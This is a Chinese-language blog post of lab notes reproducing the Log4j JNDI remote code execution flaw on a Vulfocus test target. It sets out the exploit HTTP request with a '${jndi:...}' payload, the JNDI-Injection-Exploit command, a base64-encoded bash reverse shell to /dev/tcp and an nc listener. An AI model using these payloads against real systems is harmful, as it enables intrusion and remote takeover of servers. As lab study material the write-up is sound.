log4j远程RCE漏洞复现笔记

log4j远程rce复现笔记

0x00 Vulfocus搭建

其实直接在docker拉取镜像即可,不过我觉得这个漏洞集成环境还是挺不错的,就顺手试试,环境Ubuntu20.10,参考官方文档vulfocus/INSTALL.md at master · fofapro/vulfocus (github.com)

1.先安装docker,使用国内daocloud 一键安装命令

1
curl -sSL https://get.daocloud.io/docker | sh

2.拉取 Vulfocus 镜像:

1
docker pull vulfocus/vulfocus:latest

3.运行 Vulfocus,email那几个参数应该是可以不要的

1
sudo docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=192.168.111.130 -e EMAIL_HOST="192.168.111.130 " -e EMAIL_HOST_USER="admin@admin.com" -e EMAIL_HOST_PASSWORD="12345678" vulfocus/vulfocus

4.拉取漏洞镜像,镜像管理直接添加就行,可以通过名字添加,Vulfocus 的 docker 仓库 https://hub.docker.com/u/vulfocus

image-20211213153359282

这里输入镜像名称vulfocus/log4j2-rce-2021-12-09即可添加log4j漏洞镜像

image-20211213153601659

之后启动靶场即可。

0x01 漏洞验证

这里使用知道创宇的平台进行验证,根据网上通用poc

1
${jndi:ldap://xxxxxx/}

该靶场payload为:

1
2
3
4
5
6
POST /hello HTTP/1.1
Host: 127.0.0.1:55000
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

payload=${jndi:ldap://xxxxxx/exp}

验证:

1.bp发送请求包

image-20211213154147764

2.平台收到请求

image-20211213154256762

0x02 远程RCE验证

需要使用welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc) (github.com)

使用方法

可执行程序为jar包,在命令行中运行以下命令:

1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

  • -A - 服务器地址,可以是IP地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

这个靶场据说只能使用rmi协议,为了防止错误需要对命令进行base64编码,反弹shell命令如下

1
2
bash -i >& /dev/tcp/ip/端口 0>&1
base64编码=>YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC/v4yAwPiYx

vps上使用启动命令:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC/v4yAwPiYx}|{base64,-d}|bash" -A 你的ip

效果如下

image-20211213164907314

注意的是这个靶场只能使用Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):下的payload,所以payload为

1
${jndi:rmi://xxx.xxx.xxx.xxx/xxxx}

bp发送请求包即可反弹shell

image-20211213165136457

vps开启nc监听即可

1
nc -lvp 端口

image-20211213165205181

后续试试Windows环境反弹shell


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。